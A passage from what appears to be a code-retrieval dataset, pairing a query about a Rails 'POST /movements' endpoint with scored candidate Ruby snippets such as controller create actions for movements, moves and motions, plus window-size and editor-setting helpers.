@window.width\n end", "title": "" }, { "docid": "ea201b5b2b00f51b2b5b21819fb3aeb4", "score": "0.5293992", "text": "def screen_size\n UIScreen.mainScreen.bounds.size\n end", "title": "" }, { "docid": "ea201b5b2b00f51b2b5b21819fb3aeb4", "score": "0.5293992", "text": "def screen_size\n UIScreen.mainScreen.bounds.size\n end", "title": "" }, { "docid": "e6c3b37e015a927c5853c7ebd7a01cce", "score": "0.529105", "text": "def get_dimension\n f = not_gif?(model.file) ? model.file.thumb.path : model.file.path\n cmd = \"identify -format \\\"%wx%h\\\" #{f}\"\n puts cmd\n res = `#{cmd}`.split(/x/)\n model.width, model.height = res.first, res.last\n puts \"Dimension: #{model.width}x#{model.height}\"\n model.height -= ImageUploader::FooterHeight if not_gif?(model.file)\n end", "title": "" }, { "docid": "0fb68ad34f500d7b47cfa064bc3c2c1f", "score": "0.5286559", "text": "def rect\n @bridge.window_rect\n end", "title": "" }, { "docid": "0490b98c0e239f124c5a3498e1024ff5", "score": "0.5285916", "text": "def window_size\n @driver.window_size\n end", "title": "" }, { "docid": "23ac01a7d45b95bf04b23bdec4fc3452", "score": "0.52605104", "text": "def resolution_type\n @resolution_type\n end", "title": "" }, { "docid": "59110f51e7574c7a49055e01d8e456ad", "score": "0.52566034", "text": "def rect\n w = get_window\n w.rect\n end", "title": "" }, { "docid": "73838d9e59d4ba602a44423d81108b1d", "score": "0.5253513", "text": "def editor\n @editor || false\n end", "title": "" }, { "docid": "541b80f6c8f0e75bf80bfb000110864e", "score": "0.5252974", "text": "def load_editor_settings\n theme = Sketchup.read_default('MSPhysics', 'Editor Theme', DEFAULT_THEME).to_s\n font = Sketchup.read_default('MSPhysics', 'Editor Font', DEFAULT_FONT).to_i\n wrap = Sketchup.read_default('MSPhysics', 'Editor Wrap', DEFAULT_WRAP).to_s\n print_margin = Sketchup.read_default('MSPhysics', 'Editor Wrap', DEFAULT_PRINT_MARGIN) ? true : false\n @editor_theme = theme\n @editor_font = font\n @editor_wrap = wrap\n @editor_print_margin = print_margin\n end", "title": "" }, { "docid": "5844adfeb079cf9bccdd4b6a63794182", "score": "0.52492493", "text": "def window_height\n 180\n end", "title": "" }, { "docid": "9b3b55375db42361923fe924d2ea49dc", "score": "0.5244737", "text": "def dpi\n get_dpi(qualifier)\n end", "title": "" }, { "docid": "a0d3bb8ff7b284e7a7fff80968d55fe8", "score": "0.52420336", "text": "def resolved\n\t\t@resolution\n\tend", "title": "" }, { "docid": "7c5c2e45ad65e9c6f33946291021a609", "score": "0.5231518", "text": "def list_resolutions\n end", "title": "" }, { "docid": "7c5c2e45ad65e9c6f33946291021a609", "score": "0.5231518", "text": "def list_resolutions\n end", "title": "" }, { "docid": "9a7b8e3aa4ca48a936ac8245982782a8", "score": "0.52286303", "text": "def dock_height\n self.dig_for_string(\"dockHeight\")\n end", "title": "" }, { "docid": "8c5e47284824c213216d495f4dbfdb5e", "score": "0.5226438", "text": "def get_width\n UI.terminal_helper.output_cols\n end", "title": "" }, { "docid": "68eca38845ebfaa563bece1b1130aed1", "score": "0.52213097", "text": "def standard_edit_cols_mce\n return 60\n end", "title": "" }, { "docid": "62c6177cf1ed4f9a2312a928665f0e99", "score": "0.5206129", "text": "def get_area()\n @space.get_area()\n end", "title": "" }, { "docid": "4cd55b3916bf5fe1a89f4b78ab0c6f47", "score": "0.520151", "text": "def editor\n @config.fetch(:editor) || 'vim'\n end", "title": "" } ]
cb471620eaceb8a1220ab5bc263457c8
POST /movements POST /movements.json
[ { "docid": "66d2d7e62d1000982275368c15005083", "score": "0.56874263", "text": "def create\n @movement = Movement.new(movement_params)\n\n respond_to do |format|\n if @movement.save\n if params[:additionalAction] == \"saveandnew\"\n format.html { render :new, notice: 'Registro guardado satisfactoriamente.' }\n else\n format.html { redirect_to @movement, notice: 'Registro guardado satisfactoriamente.' }\n end\n else\n set_dropdown_data\n format.html { render :new }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "400c351c57218828b32b96f69c629565", "score": "0.68366885", "text": "def create\n movement = @user.tracked_movements.build(movement_id: params[:movement_id], movement_count: 0)\n render json: { message: 'Successfully added!' }, status: :ok if movement.save\n end", "title": "" }, { "docid": "dd1fe1707c0d1006434eded364476fad", "score": "0.6710099", "text": "def create\n @movement = Movement.new(movement_params)\n\n respond_to do |format|\n if @movement.save\n format.html { redirect_to @movement, notice: 'Movement was successfully created.' }\n format.json { render :show, status: :created, location: @movement }\n else\n format.html { render :new }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be91eb2fe8aef14852adc9177c4e74aa", "score": "0.6609243", "text": "def create\n @title = t('view.movements.new_title')\n @movement = Movement.new(params[:movement])\n\n respond_to do |format|\n if @movement.save\n format.html { redirect_to @movement, notice: t('view.movements.correctly_created') }\n format.json { render json: @movement, status: :created, location: @movement }\n else\n format.html { render action: 'new' }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e480b1a80fa197363c2351849e9acf3b", "score": "0.65468645", "text": "def create # \n @movement = Movement.new(movement_params)\n\n\n respond_to do |format|\n if @movement.save\n format.html { redirect_to @movement, notice: 'Movement was successfully created.' }\n format.json { render :show, status: :created, location: @movement }\n else\n format.html { render :new }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8e9700db042a249ee3de9f1df5bb712", "score": "0.64635795", "text": "def create\n @movement = Movement.new(params[:movement])\n\n respond_to do |format|\n\n if @movement.save \n format.html { redirect_to(movements_url, :notice => 'Movement was successfully created.') }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "title": "" }, { "docid": "100483bb557638f21cc501bce4cf4898", "score": "0.629385", "text": "def create\n @movement = Movement.new(movement_params)\n\n respond_to do |format|\n if @movement.save\n if @movement.is_return\n format.html { redirect_to movement_boxes_movement_url(@movement)}\n format.json { render :movement_boxes, status: :created, location: @movement }\n else\n format.html { redirect_to movements_url, notice: 'Movement was successfully created.' }\n format.json { render :show, status: :created, location: @movement }\n end\n else\n format.html { render :new }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2a4bb349d909c64fa39f9f0ff1271238", "score": "0.6256678", "text": "def movement_params\n params.require(:movement).permit(:description, :amount, :created_at, :pocket_id, :user_id)\n end", "title": "" }, { "docid": "f7be5fb0fb3054db1bf7c4199cc4e9c3", "score": "0.62416923", "text": "def create\n @estimated_movement = current_user.estimated_movements.new(estimated_movement_params)\n\n respond_to do |format|\n if @estimated_movement.save\n format.html { redirect_to @estimated_movement, notice: 'Estimated movement was successfully created.' }\n format.json { render :show, status: :created, location: @estimated_movement }\n else\n format.html { render :new }\n format.json { render json: @estimated_movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8a973a186d04140737a04b0f047236ca", "score": "0.6160174", "text": "def create\n params = movement_params\n\n if params[:amount].blank?\n params[:amount] = 0\n end\n\n if params[:description].blank?\n params[:description] = 'Movimiento sin nombre'\n end\n\n @movement = Movement.new(params)\n\n respond_to do |format|\n if @movement.save\n format.html { redirect_to \"/pockets/#{@movement.pocket_id}\", notice: 'Movement was successfully created.' }\n format.json { render action: 'show', status: :created, location: @movement }\n movement_history @movement, 1\n else\n format.html { render action: 'new' }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7431ad057b57dbf4863bed83fd378743", "score": "0.6131683", "text": "def movement_params\n params.require(:movement).permit(:description, :type, :from_of, :value, :paid, :expiration, :user_id)\n end", "title": "" }, { "docid": "2e9c13329e3c6760c5907944bdb4612d", "score": "0.60362756", "text": "def create_movements\n @run500m = Movement.create(name: \"500m run\")\n @run1000m = Movement.create(name: \"1000m run\")\n @run5000m = Movement.create(name: \"5000m run\")\n\n @row500m = Movement.create(name: \"500m row\")\n @row1000m =Movement.create(name: \"1000m row\")\n @row5000m =Movement.create(name: \"5000m row\")\n\n @squat = Movement.create(name: \"squat\")\n @bench = Movement.create(name: \"bench\")\n @deadlift = Movement.create(name: \"deadlift\")\n\n @clean_and_jerk = Movement.create(name: \"clean and jerk\")\n @snatch = Movement.create(name: \"snatch\")\n end", "title": "" }, { "docid": "13ac0a8b987654d2914def2db4194918", "score": "0.6009488", "text": "def create \n\t\trobot_position = RobotMovement.new(check_robot,robots_commands).robot_movement\n\t\trender json: { location: robot_position }\n\tend", "title": "" }, { "docid": "417cdaa811d5d76d9ac5cbcb76220f5c", "score": "0.6006357", "text": "def create\n @courtstation = Courtstation.find(params[:courtstation_id])\n @casefile = @courtstation.casefiles.find(params[:casefile_id])\n @movement = @casefile.movements.build(params[:movement])\n\n respond_to do |format|\n if @movement.save\n format.html { redirect_to([@casefile.courtstation,@movement.casefile, @movement], :notice => 'Movement was successfully created.') }\n format.json { render :json => @movement, :status => :created, :location => [@movement.casefile, @movement] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @movement.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b51e6365e3701cb0a78c4d0c9fb823af", "score": "0.59952354", "text": "def create\n @move = Move.new(params[:move])\n\n respond_to do |format|\n if @move.save\n format.js\n format.html { redirect_to @move, notice: 'Move was successfully created.' }\n format.json { render json: @move, status: :created, location: @move }\n else\n format.html { render action: \"new\" }\n format.json { render json: @move.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6dd8faa3ce32732d549999c56b547dc", "score": "0.5978414", "text": "def create\n @mov = Mov.new(mov_params)\n\n respond_to do |format|\n if @mov.save\n format.html { redirect_to @mov, notice: 'Mov was successfully created.' }\n format.json { render :show, status: :created, location: @mov }\n else\n format.html { render :new }\n format.json { render json: @mov.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0ee2cdea0b6b19f8818aaab543b3fe0", "score": "0.5948316", "text": "def movement_params\n params.require(:movement).permit(:is_return,:origin_id, :destination_id, :return_id, :shipping_date, :arrival_date, :delivery_method)\n end", "title": "" }, { "docid": "f36830d17f9f19acae6f2a43534a92f0", "score": "0.59276694", "text": "def create\n @moving = Moving.new(moving_params.merge(user_id: current_user.id))\n\n if @moving.save\n unless @moving.save_rooms(params[:moving][:rooms])\n flash[:warning] = \"Couldn't save rooms\"\n end\n flash[:success] = \"Moving created\"\n redirect_to moving_url(@moving)\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "b6e71457ff5d89f26eb56e843e05f7c6", "score": "0.58719707", "text": "def create\n \n puts \"IN CREATE\"\n \n puts params[:movement]\n \n @movement = Movement.new(params[:movement])\n\n respond_to do |format|\n if params[:commit].eql?('Cancel') \n format.html { redirect_to(movements_url(:status => @movement.status)) }\n format.xml { head :ok }\n else\n \n if @movement.save\n format.html { redirect_to(@movement, :notice => 'Movement was successfully created.') }\n format.xml { render :xml => @movement, :status => :created, :location => @movement }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @movement.errors, :status => :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "18054b6f6fea76a1bb541fdbd30b2e5d", "score": "0.5863267", "text": "def create\n @mover = Mover.new(mover_params)\n\n if @mover.save\n render json: @mover, status: :created, location: @mover\n else\n render json: @mover.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "6cedb44d0f42482733fd5413faf0be4f", "score": "0.5861349", "text": "def create\n \n @move = @match.moves.build( params[:move] )\n if @move.valid?\n @match.moves << @move\n else\n flash[:move_in_error] = @move unless @move.valid?\n end\n \n redirect_to match_path(@match) and return unless request.xhr?\n \n #respond_to do |format|\n # format.html{ }\n #end\n end", "title": "" }, { "docid": "49560918d4d06bd661da9a1532b203db", "score": "0.58409876", "text": "def index\n @movements = Movement.all\n end", "title": "" }, { "docid": "2f6bbe96f36d4c2b46039c28fe905a6e", "score": "0.5838655", "text": "def monster_params\n params.permit(:name, :location, :move)\n end", "title": "" }, { "docid": "ec3af892bf16be87ba01cf55f827fc83", "score": "0.58229506", "text": "def movement_params\n res = params.require(:movement).permit(:id, :value, :direction, \n :group_id, :comment, :account_id, :last_editor_id, :day_id, :deleted_at, :log, :date)\n\n res[:last_editor_id] ||= @current_user.id\n\n if params[:signed_now] \n res[:signed_by_id] = @current_user.id \n res[:log] = \"by #{@current_user.id}-#{@current_user.name}-\"+res[:log]\n else\n \n res[:signed_by_id] = nil\n end\n\n res\n end", "title": "" }, { "docid": "886cade6cd1f8f19e8b1c525e5953b65", "score": "0.58208555", "text": "def set_movement\n @movement = Movement.find params[:id]\n end", "title": "" }, { "docid": "af6b92d6ca2603b38dc0b54afa699535", "score": "0.5806991", "text": "def movements_attributes=(movements_attributes)\n movements_attributes.values.each do |movements_attribute|\n if !movements_attribute[\"name\"].blank?\n movement = Movement.find_or_create_by(name: movements_attribute[\"name\"])\n if mr = MovementRoutine.find_by(movement: movement, routine: self)\n mr.update(\n technique: movements_attribute[\"movement_routines\"][\"technique\"],\n sets: movements_attribute[\"movement_routines\"][\"sets\"],\n reps: movements_attribute[\"movement_routines\"][\"reps\"]\n )\n else\n self.movement_routines.build(\n movement: movement,\n routine: self, \n technique: movements_attribute[\"movement_routines\"][\"technique\"],\n sets: movements_attribute[\"movement_routines\"][\"sets\"],\n reps: movements_attribute[\"movement_routines\"][\"reps\"]\n )\n end\n end\n end\n end", "title": "" }, { "docid": "a35f9460e293fe2d8f910f4b4b8d2d0c", "score": "0.5792452", "text": "def create\n authorize AccountMovement\n @account_movement = @investor.account_movements.build(account_movement_params)\n #@account_movement = AccountMovement.new(account_movement_params)\n respond_to do |format|\n if @account_movement.save\n format.html { redirect_to account_movements_list_investor_path(@investor), notice: 'Movimento em Conta Registado.' }\n format.json { render :show, status: :created, location: @account_movement }\n else\n format.html { render :new }\n format.json { render json: @account_movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9ecf2b82b823c9db0e5a5ff2bfaa7de", "score": "0.57913864", "text": "def create\n @motion = Motion.new(motion_params)\n\n respond_to do |format|\n if @motion.save\n format.html { redirect_to @motion, notice: 'Motion was successfully created.' }\n format.json { render :show, status: :created, location: @motion }\n else\n format.html { render :new }\n format.json { render json: @motion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5da36db6a5d369d9865df05708ccf40f", "score": "0.57629377", "text": "def create\n @movimiento = Movimiento.new(movimiento_params)\n\n respond_to do |format|\n if @movimiento.save\n format.html { redirect_to @movimiento, notice: 'Movimiento was successfully created.' }\n format.json { render :show, status: :created, location: @movimiento }\n else\n format.html { render :new }\n format.json { render json: @movimiento.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e274be3a825a9fdef020e1290b2ed80f", "score": "0.57436943", "text": "def set_movement\n @movement = Movement.find(params[:id])\n end", "title": "" }, { "docid": "1134c13859889fb105f6f05025e1246a", "score": "0.5706666", "text": "def create\n\tif @account\n\t\t@movement = @account.movements.build(params[:movement])\n\t\t@movement.user_id = @current_user.id\n @movement.currency = @account.currency\n @movement.amount = Money.new(@movement.amount_in_cents,@movement.currency)\n\t\trespond_to do |format|\n\t\t if @movement.save\n\t\t\t @movement.save_tags(current_user)\n\n\t\t\tflash[:notice] = I18n.t('layout.movements.notice_message') % [@movement.type_of_movement_desc,@movement.amount.format,@movement.movdate.to_date,@movement.description]\n\t\t\tformat.html { redirect_to(polymorphic_path([@account,:movements])) }\n\t\t\tformat.iphone { redirect_to(polymorphic_path([@account,:movements])) }\n\t\t else\n\t\t\tformat.html { render :action => \"new\" }\n\t\t\tformat.iphone { render :action => \"new\", :layout=> false }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to(dashboard_url)\n\tend\n end", "title": "" }, { "docid": "e333f4b9cb3960041177feef67ed9ccf", "score": "0.5646511", "text": "def create\n @movimentacao_de_estoque = MovimentacaoDeEstoque.new(params[:movimentacao_de_estoque])\n\n respond_to do |format|\n if @movimentacao_de_estoque.save\n format.html { redirect_to @movimentacao_de_estoque, notice: 'Movimentacao de estoque was successfully created.' }\n format.json { render json: @movimentacao_de_estoque, status: :created, location: @movimentacao_de_estoque }\n else\n format.html { render action: \"new\" }\n format.json { render json: @movimentacao_de_estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fec61b713391c4b0a97e40751f739ed", "score": "0.5640209", "text": "def set_movement\n @movement = Movement.find(params[:id])\n end", "title": "" }, { "docid": "8fec61b713391c4b0a97e40751f739ed", "score": "0.5640209", "text": "def set_movement\n @movement = Movement.find(params[:id])\n end", "title": "" }, { "docid": "8fec61b713391c4b0a97e40751f739ed", "score": "0.5640209", "text": "def set_movement\n @movement = Movement.find(params[:id])\n end", "title": "" }, { "docid": "8fec61b713391c4b0a97e40751f739ed", "score": "0.5640209", "text": "def set_movement\n @movement = Movement.find(params[:id])\n end", "title": "" }, { "docid": "8181c156d1342cf69cd7c92339d68cf9", "score": "0.5636854", "text": "def inventory_movement_params\n params.require(:inventory_movement).permit(:imr_start_date, :imr_end_date, :putaway_start_date, :putaway_end_date, :gatepass_start_date, :gatepass_end_date, :sale_order_start_date, :sale_order_end_date)\n end", "title": "" }, { "docid": "4f85f9c6aea12cb0141e4692d0a5e106", "score": "0.5621218", "text": "def create\n @moving_item = MovingItem.new(moving_item_params)\n\n respond_to do |format|\n if @moving_item.save\n format.html { redirect_to @moving_item, notice: t('.create_ok') }\n format.json { render action: 'show', status: :created, location: @moving_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @moving_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "313a7f13a373a3f0ac4ab2db5c1b1e3e", "score": "0.56200534", "text": "def move\n @event.starttime = make_time_from_minute_and_day_delta(@event.starttime)\n @event.endtime = make_time_from_minute_and_day_delta(@event.endtime)\n if @event.save\n render nothing: true\n else\n render json: { message: 'This service could not be moved' }\n end\n end", "title": "" }, { "docid": "4b9688bb2a6fc8488232d890f620829d", "score": "0.5612954", "text": "def create\n @movimimiento_ventum = MovimimientoVentum.new(movimimiento_ventum_params)\n\n respond_to do |format|\n if @movimimiento_ventum.save\n format.html { redirect_to @movimimiento_ventum, notice: 'Movimimiento ventum was successfully created.' }\n format.json { render :show, status: :created, location: @movimimiento_ventum }\n else\n format.html { render :new }\n format.json { render json: @movimimiento_ventum.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5e137b49e2318de5601e83809a52ca09", "score": "0.5575277", "text": "def movementdetail_params\n params.require(:movementsdetail).permit(movementdetail_params_symbol)\n end", "title": "" }, { "docid": "a0226839a34b2513233e903ee3b6a6c3", "score": "0.5571556", "text": "def create\n @move_in_or_out = MoveInOrOut.new(move_in_or_out_params)\n\n respond_to do |format|\n if @move_in_or_out.save\n format.html { redirect_to @move_in_or_out, notice: 'Move in or out was successfully created.' }\n format.json { render :show, status: :created, location: @move_in_or_out }\n else\n format.html { render :new }\n format.json { render json: @move_in_or_out.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59d48ac27a70b7b9483c3302bf91a4e8", "score": "0.5553498", "text": "def movement_params\n params.require(:movement).permit(:Id, :MovementDate, :Comments, movementsdetails_attributes: movementdetail_params_symbol)\n end", "title": "" }, { "docid": "19720835df5ae499515f1c012b9b776e", "score": "0.55502367", "text": "def new\n @title = t('view.movements.new_title')\n @movement = Movement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @movement }\n end\n end", "title": "" }, { "docid": "5be49060e1e55ededee02743ee668c98", "score": "0.55450237", "text": "def create\n @supply_movement = SupplyMovement.new(supply_movement_params)\n\n respond_to do |format|\n if @supply_movement.save\n format.html { redirect_to @supply_movement, notice: 'Supply movement was successfully created.' }\n format.json { render :show, status: :created, location: @supply_movement }\n else\n format.html { render :new }\n format.json { render json: @supply_movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a2ed4ac0614a8944bc4293bf0e880b03", "score": "0.5530834", "text": "def create\n @mouvement_recurrent = MouvementRecurrent.new(params[:mouvement_recurrent])\n\n respond_to do |format|\n if @mouvement_recurrent.save\n format.html { redirect_to @mouvement_recurrent, notice: 'Mouvement recurrent was successfully created.' }\n format.json { render json: @mouvement_recurrent, status: :created, location: @mouvement_recurrent }\n else\n format.html { render action: \"new\" }\n format.json { render json: @mouvement_recurrent.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "90ce834edb8d53fb672fe5e608cb4e64", "score": "0.55267304", "text": "def movement_params\n params.require(:movement).permit(:part_id, :fifo, :quantity, :package_nr, :uniq_nr, :from_position_id, :from_warehouse_id, :to_position_id, :to_warehouse_id, :move_type_id, :user_id, :remarks)\n end", "title": "" }, { "docid": "b3a676617368971a38bf54583f73dbab", "score": "0.5511758", "text": "def create\n @movimentode_estoque = MovimentodeEstoque.new(movimentode_estoque_params)\n\n respond_to do |format|\n if @movimentode_estoque.save\n format.html { redirect_to @movimentode_estoque, notice: 'Movimentode estoque was successfully created.' }\n format.json { render :show, status: :created, location: @movimentode_estoque }\n else\n format.html { render :new }\n format.json { render json: @movimentode_estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b757c19c539f5a707bc9d1987b57df2e", "score": "0.54876", "text": "def create\n @movimentacao = Movimentacao.new(movimentacao_params)\n\n respond_to do |format|\n if @movimentacao.save\n format.html { redirect_to @movimentacao, notice: 'Movimentacao was successfully created.' }\n format.json { render :show, status: :created, location: @movimentacao }\n else\n format.html { render :new }\n format.json { render json: @movimentacao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5fa5bb887f964808ff765d1f3e3324d", "score": "0.5462208", "text": "def create\n @movimentacao = Movimentacao.new(movimentacao_params)\n @movimentacao.tipo = params[:tipo].upcase\n @armazenamento = Armazenamento.where(nome: movimentacao_params[:armazenamento_id].downcase).first\n @movimentacao.data_movimentacao = params[:data].to_date + 3.hours\n @produto = Produto.where(nome: movimentacao_params[:produto_id].downcase).first\n if @produto.present?\n @movimentacao.produto_id = @produto.id\n else\n @produto = Produto.create({nome:movimentacao_params[:produto_id].downcase})\n @produto.save\n @movimentacao.produto_id = @produto.id\n end\n if @armazenamento.present?\n\n @movimentacao.armazenamento_id = @armazenamento.id\n else\n @armazenamento = Armazenamento.create({nome:movimentacao_params[:armazenamento_id].downcase})\n @armazenamento.save\n @movimentacao.armazenamento_id = @armazenamento.id\n end\n\n respond_to do |format|\n if @movimentacao.save\n format.html { redirect_to @movimentacao, notice: \"Movimentacao was successfully created.\" }\n format.json { render :show, status: :created, location: @movimentacao }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @movimentacao.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb4aed7aef3e7915724c9dfc16ffebf0", "score": "0.54614145", "text": "def crear_mov_movimiento\n deudas_comp = com_compra.totales_por_comprobante\n build_mov_movimiento\n\n mov_movimiento.tipo_movimiento = MovMovimiento.tipo_movimientos[:egreso]\n mov_movimiento.hoja = hoja\n mov_movimiento.fecha = com_compra.fecha\n mov_movimiento.ciclo = com_compra.ciclo\n mov_movimiento.emp_clasificacion = com_compra.emp_clasificacion\n mov_movimiento.emp_cuentab = emp_cuentab\n mov_movimiento.concepto = concepto\n mov_movimiento.emp_proveedor = com_compra.emp_proveedor\n mov_movimiento.emp_locacion_id = deudas_comp[comprobante][3]\n mov_movimiento.factura = com_compra.factura\n mov_movimiento.comprobante = deudas_comp[comprobante][4]\n mov_movimiento.tipo_comprobante = deudas_comp[comprobante][5]\n\n # obtiene el porcentaje de pago que se hizo\n porc = monto / com_compra.suma_valores[emp_cuentab.moneda][:total]\n # calcula la cantidad en cada sección\n mov_movimiento.subtotal = com_compra.suma_valores[emp_cuentab.moneda][:subtotal] * porc\n mov_movimiento.iva = com_compra.suma_valores[emp_cuentab.moneda][:iva] * porc\n mov_movimiento.ieps = com_compra.suma_valores[emp_cuentab.moneda][:ieps] * porc\n mov_movimiento.total = monto\n\n #mov_movimiento.save\n end", "title": "" }, { "docid": "66e7f856279f332de2641efcdece9170", "score": "0.54446477", "text": "def create\n @movimento = Movimento.new(movimento_params)\n\n respond_to do |format|\n if @movimento.save\n format.html { redirect_to(@movimento, :notice => t('activerecord.successful.messages.created', :model => @movimento.class.model_name.human))}\n format.json { render :show, status: :created, location: @movimento }\n else\n format.html { render :new }\n format.json { render :json => { :errors => @movimento.errors.full_messages }, :status => 422 }\n end\n end\n end", "title": "" }, { "docid": "93eae0d94fc8c7355120d3984e76fcdf", "score": "0.5430883", "text": "def write_travels_to_calendar\n @event.write_travels_to_calendar\n render :json => @event.to_json, :status => :ok\n end", "title": "" }, { "docid": "e5be2539b736e0838975ae4630d92b8b", "score": "0.54240304", "text": "def create\n @song_part_move = SongPartMove.new(params[:song_part_move])\n\n respond_to do |format|\n if @song_part_move.save\n format.html { redirect_to @song_part_move, notice: 'Song part move was successfully created.' }\n format.json { render json: @song_part_move, status: :created, location: @song_part_move }\n else\n format.html { render action: \"new\" }\n format.json { render json: @song_part_move.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a0ef21e8ef4cafdb5705ac7e3d1e771", "score": "0.5387312", "text": "def create\n @game_move = GameMove.new(game_move_params)\n\n respond_to do |format|\n if @game_move.save\n format.html { redirect_to @game_move, notice: 'Game move was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game_move }\n else\n format.html { render action: 'new' }\n format.json { render json: @game_move.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9e85fa6123b8634c590cd97bc248f17", "score": "0.5387037", "text": "def create\n quests_params = params.permit(quests: [:mission, :pose, :location])[:quests]\n quests = quests_params.map {|quest_params|\n Quest.new(quest_params)\n }\n\n route_params = params.permit(\n :name,\n :achievement_count,\n :played_count,\n :start_location,\n :description\n )\n\n @route = Route.new({\n user_id: params[:user][:id],\n # user_id: 1,\n quests: quests,\n }.merge(route_params))\n\n respond_to do |format|\n if @route.save\n format.html { redirect_to @route, notice: 'Route was successfully created.' }\n format.json { render action: 'show', status: :created, location: @route }\n else\n format.html { render action: 'new' }\n format.json { render json: @route.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "61c54e91a0ad762ff0bbc1e61485e3cc", "score": "0.5380709", "text": "def create\n @movimento_de_estoque = MovimentoDeEstoque.new(movimento_de_estoque_params)\n\n respond_to do |format|\n if @movimento_de_estoque.save\n format.html { redirect_to @movimento_de_estoque, notice: 'Movimento de estoque was successfully created.' }\n format.json { render :show, status: :created, location: @movimento_de_estoque }\n else\n format.html { render :new }\n format.json { render json: @movimento_de_estoque.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c6f0b19f26766f063e7cf7aa91d88fc7", "score": "0.5354037", "text": "def update\n\n respond_to do |format|\n if @movement.update(movement_params)\n format.html { redirect_to @movement, notice: 'Movement was successfully updated.' }\n format.json { render :show, status: :ok, location: @movement }\n else\n format.html { render :edit }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39c24742c3e7d2c236b5be544a66bc13", "score": "0.5351375", "text": "def create\n @trajectory = Trajectory.new(params[:trajectory])\n\n respond_to do |format|\n if @trajectory.save\n format.html { redirect_to @trajectory, notice: 'Trajectory was successfully created.' }\n format.json { render json: @trajectory, status: :created, location: @trajectory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @trajectory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "adbc79509ff22099c03c34ab1fb2bb90", "score": "0.53329694", "text": "def create\n @fen_move = FenMove.new(params[:fen_move])\n\n respond_to do |format|\n if @fen_move.save\n format.html { redirect_to @fen_move, notice: 'Fen move was successfully created.' }\n format.json { render json: @fen_move, status: :created, location: @fen_move }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fen_move.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba728d23a1a82a820d7819f0343edd72", "score": "0.5331443", "text": "def update\n respond_to do |format|\n if @movement.update(movement_params)\n format.html { redirect_to @movement, notice: 'Movement was successfully updated.' }\n format.json { render :show, status: :ok, location: @movement }\n else\n format.html { render :edit }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a8bde93fc1a769e0eb0ecc9ea669e21a", "score": "0.53263277", "text": "def move_params\n params.require(:move).permit(:name, :movetype, :category)\n end", "title": "" }, { "docid": "b21cc5fb62ea01c848d72778923b9e45", "score": "0.5325332", "text": "def update\n respond_to do |format|\n if @movement.update(movement_params)\n format.html { redirect_to movements_url, notice: 'Movement was successfully updated.' }\n format.json { render :show, status: :ok, location: @movement }\n else\n format.html { render :edit }\n format.json { render json: @movement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f154f156293de490059c6b2d52078eb", "score": "0.53184813", "text": "def create\n @moving_item = MovingItem.new(moving_item_params.\n merge(moving_id: current_moving))\n if @moving_item.save\n flash[:success] = \"Create #{@moving_item.name}\"\n redirect_to @moving\n else\n set_autocomplete_suggestions_and_render(:new)\n end\n end", "title": "" }, { "docid": "54593a8b31f8d4b0e60cb1fc097b897f", "score": "0.53114206", "text": "def estimated_movement_params\n params.require(:estimated_movement).permit(:name, :amount, :movement_date, :subcategory_id, :movementtype_id, :account_id, :month_number, :user_id, :account_name)\n end", "title": "" }, { "docid": "f22d071853fa3fe36d69fa3327fcbcaa", "score": "0.5307327", "text": "def create\n @location = Geolocation.new(params[:geolocation])\n @scene = Scene.new(:title => params[:title])\n @location.scenes << @scene\n @location.save\n @scene.save\n\n respond_to do |format|\n if 